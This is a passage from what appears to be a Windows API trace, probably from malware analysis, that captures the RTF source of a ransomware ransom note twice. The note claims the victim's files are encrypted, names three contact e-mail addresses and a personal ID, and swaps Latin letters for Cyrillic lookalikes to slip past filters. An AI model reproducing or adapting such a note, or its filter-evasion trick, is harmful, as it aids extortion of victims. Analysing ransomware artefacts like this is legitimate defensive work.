v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1dae208, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u 